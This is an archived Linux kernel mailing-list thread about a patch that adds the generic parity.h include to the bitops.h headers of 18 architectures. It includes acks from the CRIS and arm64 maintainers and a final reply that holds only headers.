In-Reply-To: <1462955158-28394-1-git-send-email-zengzhaoxiu@163.com>
X-CM-TRANSID: D9GowAD3MFKv9jJXqmRCAA--.9688S2
X-Coremail-Antispam: 1Uf129KBjvJXoW3try8uw1kZw4xuF17Zr13urg_yoWDurW3pF
 1Dur1kArZ5G348XFWjkrnFkF47twsxGF43tFWY9a4qyF1xtw4jyFsY9F1DAw1kXa1qqrWF
 grZrCry5Ja10qF7anT9S1TB71UUUUUUqnTZGkaVYY2UrUUUUjbIjqfuFe4nvWSU5nxnvy2
 9KBjDUYxBIdaVFxhVjvjDU0xZFpf9x07j_Z2DUUUUU=
X-Originating-IP: [112.95.225.98]
X-CM-SenderInfo: p2hqw6xkdr5xrx6rljoofrz/xtbByhZmgFO+jXndIwAAsd
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20160511_021333_164232_1DB534B9 
X-CRM114-Status: UNSURE (   7.74  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -4.1 (----)
X-Spam-Report: SpamAssassin version 3.4.0 on bombadil.infradead.org summary:
 Content analysis details:   (-4.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -2.1 RP_MATCHES_RCVD Envelope sender domain matches handover relay domain
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (zengzhaoxiu[at]163.com)
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.20
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:1009 gmane.linux.kernel:2219413 gmane.linux.ports.openrisc:721 gmane.linux.ports.hexagon:1013 gmane.linux.ports.sh.devel:54009 gmane.linux.kernel.metag:1086 gmane.linux.ports.arm.kernel:499093 gmane.linux.ports.parisc:26764
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/1009>

From: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>

Simply use the generic version.

Signed-off-by: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
Acked-by: Hans-Christian Noren Egtvedt <egtvedt@samfundet.no> [for avr32]
---
 arch/arc/include/asm/bitops.h      | 1 +
 arch/arm/include/asm/bitops.h      | 1 +
 arch/arm64/include/asm/bitops.h    | 1 +
 arch/avr32/include/asm/bitops.h    | 1 +
 arch/c6x/include/asm/bitops.h      | 1 +
 arch/cris/include/asm/bitops.h     | 1 +
 arch/frv/include/asm/bitops.h      | 1 +
 arch/h8300/include/asm/bitops.h    | 1 +
 arch/hexagon/include/asm/bitops.h  | 1 +
 arch/m32r/include/asm/bitops.h     | 1 +
 arch/m68k/include/asm/bitops.h     | 1 +
 arch/metag/include/asm/bitops.h    | 1 +
 arch/mn10300/include/asm/bitops.h  | 1 +
 arch/openrisc/include/asm/bitops.h | 1 +
 arch/parisc/include/asm/bitops.h   | 1 +
 arch/s390/include/asm/bitops.h     | 1 +
 arch/sh/include/asm/bitops.h       | 1 +
 arch/xtensa/include/asm/bitops.h   | 1 +
 18 files changed, 18 insertions(+)

diff --git a/arch/arc/include/asm/bitops.h b/arch/arc/include/asm/bitops.h
index 0352fb8..7967e47 100644
--- a/arch/arc/include/asm/bitops.h
+++ b/arch/arc/include/asm/bitops.h
@@ -370,6 +370,7 @@ static inline __attribute__ ((const)) int __ffs(unsigned long x)
 #define ffz(x)	__ffs(~(x))
 
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/lock.h>
diff --git a/arch/arm/include/asm/bitops.h b/arch/arm/include/asm/bitops.h
index e943e6c..99f28a6 100644
--- a/arch/arm/include/asm/bitops.h
+++ b/arch/arm/include/asm/bitops.h
@@ -313,6 +313,7 @@ static inline unsigned long __ffs(unsigned long x)
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #ifdef __ARMEB__
diff --git a/arch/arm64/include/asm/bitops.h b/arch/arm64/include/asm/bitops.h
index 9c19594..eac4965 100644
--- a/arch/arm64/include/asm/bitops.h
+++ b/arch/arm64/include/asm/bitops.h
@@ -44,6 +44,7 @@ extern int test_and_change_bit(int nr, volatile unsigned long *p);
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #include <asm-generic/bitops/non-atomic.h>
diff --git a/arch/avr32/include/asm/bitops.h b/arch/avr32/include/asm/bitops.h
index 910d537..9f4a2ce 100644
--- a/arch/avr32/include/asm/bitops.h
+++ b/arch/avr32/include/asm/bitops.h
@@ -298,6 +298,7 @@ static inline int ffs(unsigned long word)
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 extern unsigned long find_next_zero_bit_le(const void *addr,
diff --git a/arch/c6x/include/asm/bitops.h b/arch/c6x/include/asm/bitops.h
index f0ab012..94eb0d1 100644
--- a/arch/c6x/include/asm/bitops.h
+++ b/arch/c6x/include/asm/bitops.h
@@ -87,6 +87,7 @@ static inline int ffs(int x)
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #include <asm-generic/bitops/atomic.h>
diff --git a/arch/cris/include/asm/bitops.h b/arch/cris/include/asm/bitops.h
index 8062cb5..06bc246 100644
--- a/arch/cris/include/asm/bitops.h
+++ b/arch/cris/include/asm/bitops.h
@@ -36,6 +36,7 @@
 #include <asm-generic/bitops/__fls.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/lock.h>
 
diff --git a/arch/frv/include/asm/bitops.h b/arch/frv/include/asm/bitops.h
index 0df8e95..f2a7ee8 100644
--- a/arch/frv/include/asm/bitops.h
+++ b/arch/frv/include/asm/bitops.h
@@ -314,6 +314,7 @@ int __ilog2_u64(u64 n)
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #include <asm-generic/bitops/le.h>
diff --git a/arch/h8300/include/asm/bitops.h b/arch/h8300/include/asm/bitops.h
index 05999ab..e392db2 100644
--- a/arch/h8300/include/asm/bitops.h
+++ b/arch/h8300/include/asm/bitops.h
@@ -172,6 +172,7 @@ static inline unsigned long __ffs(unsigned long word)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/le.h>
 #include <asm-generic/bitops/ext2-atomic.h>
diff --git a/arch/hexagon/include/asm/bitops.h b/arch/hexagon/include/asm/bitops.h
index 5e4a59b..2df614e 100644
--- a/arch/hexagon/include/asm/bitops.h
+++ b/arch/hexagon/include/asm/bitops.h
@@ -290,6 +290,7 @@ static inline unsigned long __fls(unsigned long word)
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 
 #include <asm-generic/bitops/le.h>
 #include <asm-generic/bitops/ext2-atomic.h>
diff --git a/arch/m32r/include/asm/bitops.h b/arch/m32r/include/asm/bitops.h
index 86ba2b4..e3cf46b 100644
--- a/arch/m32r/include/asm/bitops.h
+++ b/arch/m32r/include/asm/bitops.h
@@ -259,6 +259,7 @@ static __inline__ int test_and_change_bit(int nr, volatile void * addr)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/ffs.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #endif /* __KERNEL__ */
diff --git a/arch/m68k/include/asm/bitops.h b/arch/m68k/include/asm/bitops.h
index b4a9b0d..fd673ea 100644
--- a/arch/m68k/include/asm/bitops.h
+++ b/arch/m68k/include/asm/bitops.h
@@ -519,6 +519,7 @@ static inline int __fls(int x)
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #endif /* __KERNEL__ */
 
diff --git a/arch/metag/include/asm/bitops.h b/arch/metag/include/asm/bitops.h
index 2671134..ad13087 100644
--- a/arch/metag/include/asm/bitops.h
+++ b/arch/metag/include/asm/bitops.h
@@ -118,6 +118,7 @@ static inline int test_and_change_bit(unsigned int bit,
 #include <asm-generic/bitops/__fls.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/le.h>
diff --git a/arch/mn10300/include/asm/bitops.h b/arch/mn10300/include/asm/bitops.h
index fe6f8e2..60761b7 100644
--- a/arch/mn10300/include/asm/bitops.h
+++ b/arch/mn10300/include/asm/bitops.h
@@ -225,6 +225,7 @@ int ffs(int x)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/ext2-atomic-setbit.h>
 #include <asm-generic/bitops/le.h>
 
diff --git a/arch/openrisc/include/asm/bitops.h b/arch/openrisc/include/asm/bitops.h
index 3003cda..8c97642 100644
--- a/arch/openrisc/include/asm/bitops.h
+++ b/arch/openrisc/include/asm/bitops.h
@@ -43,6 +43,7 @@
 #include <asm-generic/bitops/sched.h>
 #include <asm/bitops/ffs.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #include <asm-generic/bitops/atomic.h>
diff --git a/arch/parisc/include/asm/bitops.h b/arch/parisc/include/asm/bitops.h
index 3f9406d..867ba10 100644
--- a/arch/parisc/include/asm/bitops.h
+++ b/arch/parisc/include/asm/bitops.h
@@ -211,6 +211,7 @@ static __inline__ int fls(int x)
 #include <asm-generic/bitops/__fls.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 
diff --git a/arch/s390/include/asm/bitops.h b/arch/s390/include/asm/bitops.h
index 8043f10..198eead 100644
--- a/arch/s390/include/asm/bitops.h
+++ b/arch/s390/include/asm/bitops.h
@@ -460,6 +460,7 @@ static inline int fls(int word)
 #include <asm-generic/bitops/ffz.h>
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/le.h>
 #include <asm-generic/bitops/ext2-atomic-setbit.h>
diff --git a/arch/sh/include/asm/bitops.h b/arch/sh/include/asm/bitops.h
index fc8e652..4bf0c35 100644
--- a/arch/sh/include/asm/bitops.h
+++ b/arch/sh/include/asm/bitops.h
@@ -86,6 +86,7 @@ static inline unsigned long ffz(unsigned long word)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/ffs.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/le.h>
diff --git a/arch/xtensa/include/asm/bitops.h b/arch/xtensa/include/asm/bitops.h
index 3f44fa2..981fa83 100644
--- a/arch/xtensa/include/asm/bitops.h
+++ b/arch/xtensa/include/asm/bitops.h
@@ -229,6 +229,7 @@ test_and_change_bit(unsigned int bit, volatile unsigned long *p)
 #include <asm-generic/bitops/ext2-atomic-setbit.h>
 
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 
-- 
2.7.4

From - Thu Nov 08 21:38:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesper Nilsson <jesper.nilsson@axis.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: [patch V4 02/31] bitops: Include generic parity.h in some
 architectures' bitops.h
Date: Wed, 11 May 2016 12:06:01 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20160511100601.GY24250@axis.com>
References: <1462955158-28394-1-git-send-email-zengzhaoxiu@163.com>
 <1462957641-24241-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1462961192 4310 80.91.229.3 (11 May 2016 10:06:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 May 2016 10:06:32 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Mark Salter <msalter@redhat.com>,
	Aurelien Jacquiot <a-jacquiot@ti.com>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jespern@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Richard Kuo <rkuo@codeaurora.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	James Hogan <james.hogan@imgtec.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Jonas Bonn <jonas@southpole.se>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carsten
To: zengzhaoxiu@163.com
Original-X-From: linux-kernel-owner@vger.kernel.org Wed May 11 12:06:22 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1b0R24-0000Y8-SF
	for glk-linux-kernel-3@plane.gmane.org; Wed, 11 May 2016 12:06:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932417AbcEKKGQ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 11 May 2016 06:06:16 -0400
Original-Received: from bes.se.axis.com ([195.60.68.10]:51510 "EHLO bes.se.axis.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932088AbcEKKGK (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 11 May 2016 06:06:10 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bes.se.axis.com (Postfix) with ESMTP id AEF462E0FD;
	Wed, 11 May 2016 12:06:07 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at bes.se.axis.com
Original-Received: from bes.se.axis.com ([IPv6:::ffff:127.0.0.1])
	by localhost (bes.se.axis.com [::ffff:127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id qF5wKhfEuJiQ; Wed, 11 May 2016 12:06:05 +0200 (CEST)
Original-Received: from boulder.se.axis.com (boulder.se.axis.com [10.0.2.104])
	by bes.se.axis.com (Postfix) with ESMTP id 2CF7B2E1BC;
	Wed, 11 May 2016 12:06:02 +0200 (CEST)
Original-Received: from boulder.se.axis.com (localhost [127.0.0.1])
	by postfix.imss71 (Postfix) with ESMTP id 0DEAA158F;
	Wed, 11 May 2016 12:06:02 +0200 (CEST)
Original-Received: from seth.se.axis.com (seth.se.axis.com [10.0.2.172])
	by boulder.se.axis.com (Postfix) with ESMTP id E688911AA;
	Wed, 11 May 2016 12:06:01 +0200 (CEST)
Original-Received: from lnxjespern3.se.axis.com (lnxjespern3.se.axis.com [10.88.4.8])
	by seth.se.axis.com (Postfix) with ESMTP id DC44A113E;
	Wed, 11 May 2016 12:06:01 +0200 (CEST)
Original-Received: by lnxjespern3.se.axis.com (Postfix, from userid 363)
	id D76F1800EB; Wed, 11 May 2016 12:06:01 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1462957641-24241-1-git-send-email-zengzhaoxiu@163.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2219485 gmane.linux.kernel.arc:1010 gmane.linux.ports.arm.kernel:499117 gmane.linux.ports.hexagon:1014 gmane.linux.kernel.metag:1087 gmane.linux.ports.openrisc:722 gmane.linux.ports.parisc:26765 gmane.linux.ports.sh.devel:54010
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2219485>

On Wed, May 11, 2016 at 05:06:17PM +0800, zengzhaoxiu@163.com wrote:
> From: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
> 
> Simply use the generic version.
> 
> Signed-off-by: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
> Acked-by: Hans-Christian Noren Egtvedt <egtvedt@samfundet.no> [for avr32]

For the CRIS part:

Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>

/^JN - Jesper Nilsson
-- 
               Jesper Nilsson -- jesper.nilsson@axis.com


From - Thu Nov 08 21:38:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Catalin Marinas <catalin.marinas@arm.com>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.openrisc,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: [patch V4 02/31] bitops: Include generic parity.h in some
 architectures' bitops.h
Date: Wed, 11 May 2016 11:42:05 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20160511104205.GE3051@e104818-lin.cambridge.arm.com>
References: <1462955158-28394-1-git-send-email-zengzhaoxiu@163.com>
 <1462957641-24241-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1462963350 12148 80.91.229.3 (11 May 2016 10:42:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 May 2016 10:42:30 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Rich Felker <dalias@libc.org>,
	Aurelien Jacquiot <a-jacquiot@ti.com>,
	"Peter Zijlstra (Intel)" <peterz@infradead.org>,
	Will Deacon <will.deacon@arm.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	David Howells <dhowells@redhat.com>,
	Max Filippov <jcmvbkbc@gmail.com>,
	Hendrik Brueckner <brueckner@linux.vnet.ibm.com>,
	linux@lists.openrisc.net,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	linux-am33-list@redhat.com, linux-c6x-dev@linux-c6x.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
	linux-sh@vger.kernel.org, Russell King <linux@armlinux.org.uk>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Mark Salter <msalter@redhat.com>,
	linux-snps-arc@lists.infradead.org,
	Haavard
To: zengzhaoxiu@163.com
Original-X-From: linux-hexagon-owner@vger.kernel.org Wed May 11 12:42:24 2016
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1b0Rar-0006zE-Tq
	for glphk-linux-hexagon@plane.gmane.org; Wed, 11 May 2016 12:42:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751563AbcEKKmR (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
	Wed, 11 May 2016 06:42:17 -0400
Original-Received: from foss.arm.com ([217.140.101.70]:50850 "EHLO foss.arm.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751454AbcEKKmP (ORCPT <rfc822;linux-hexagon@vger.kernel.org>);
	Wed, 11 May 2016 06:42:15 -0400
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
	by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 00D783C;
	Wed, 11 May 2016 03:42:27 -0700 (PDT)
Original-Received: from e104818-lin.cambridge.arm.com (e104818-lin.cambridge.arm.com [10.1.203.148])
	by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 2541A3F252;
	Wed, 11 May 2016 03:42:08 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1462957641-24241-1-git-send-email-zengzhaoxiu@163.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:1015 gmane.linux.kernel:2219529 gmane.linux.ports.openrisc:723 gmane.linux.ports.sh.devel:54011 gmane.linux.kernel.arc:1011 gmane.linux.kernel.metag:1088 gmane.linux.ports.arm.kernel:499133 gmane.linux.ports.parisc:26766
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/1015>

On Wed, May 11, 2016 at 05:06:17PM +0800, zengzhaoxiu@163.com wrote:
> From: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
> 
> Simply use the generic version.
> 
> Signed-off-by: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
> Acked-by: Hans-Christian Noren Egtvedt <egtvedt@samfundet.no> [for avr32]
> ---
>  arch/arc/include/asm/bitops.h      | 1 +
>  arch/arm/include/asm/bitops.h      | 1 +
>  arch/arm64/include/asm/bitops.h    | 1 +
>  arch/avr32/include/asm/bitops.h    | 1 +
>  arch/c6x/include/asm/bitops.h      | 1 +
>  arch/cris/include/asm/bitops.h     | 1 +
>  arch/frv/include/asm/bitops.h      | 1 +
>  arch/h8300/include/asm/bitops.h    | 1 +
>  arch/hexagon/include/asm/bitops.h  | 1 +
>  arch/m32r/include/asm/bitops.h     | 1 +
>  arch/m68k/include/asm/bitops.h     | 1 +
>  arch/metag/include/asm/bitops.h    | 1 +
>  arch/mn10300/include/asm/bitops.h  | 1 +
>  arch/openrisc/include/asm/bitops.h | 1 +
>  arch/parisc/include/asm/bitops.h   | 1 +
>  arch/s390/include/asm/bitops.h     | 1 +
>  arch/sh/include/asm/bitops.h       | 1 +
>  arch/xtensa/include/asm/bitops.h   | 1 +

For arm64:

Acked-by: Catalin Marinas <catalin.marinas@arm.com>

From - Thu Nov 08 21:38:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Salter <msalter@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: [patch V4 02/31] bitops: Include generic parity.h in some
 architectures' bitops.h
Date: Wed, 11 May 2016 11:24:12 -0400
Organization: Red Hat, Inc
Lines: 14
Approved: news@gmane.org
Message-ID: <1462980252.9978.33.camel@redhat.com>
References: <1462955158-28394-1-git-send-email-zengzhaoxiu@163.com>
	 <1462957641-24241-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1462980285 8864 80.91.229.3 (11 May 2016 15:24:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 May 2016 15:24:45 +0000 (UTC)
Cc: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Aurelien Jacquiot <a-jacquiot@ti.com>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Richard Kuo <rkuo@codeaurora.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	James Hogan <james.hogan@imgtec.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Jonas Bonn <jonas@southpole.se>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Rich Felker <dalias@libc.or
To: zengzhaoxiu@163.com, linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed May 11 17:24:39 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1b0W05-0002gj-Oc
	for glk-linux-kernel-3@plane.gmane.org; Wed, 11 May 2016 17:24:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932314AbcEKPY1 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 11 May 2016 11:24:27 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:33298 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932252AbcEKPYX (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 11 May 2016 11:24:23 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id 669A580B56;
	Wed, 11 May 2016 15:24:20 +0000 (UTC)
Original-Received: from ovpn-113-109.phx2.redhat.com (ovpn-113-109.phx2.redhat.com [10.3.113.109])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u4BFOCwO008004;
	Wed, 11 May 2016 11:24:13 -0400
In-Reply-To: <1462957641-24241-1-git-send-email-zengzhaoxiu@163.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.28]); Wed, 11 May 2016 15:24:22 +0000 (UTC)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
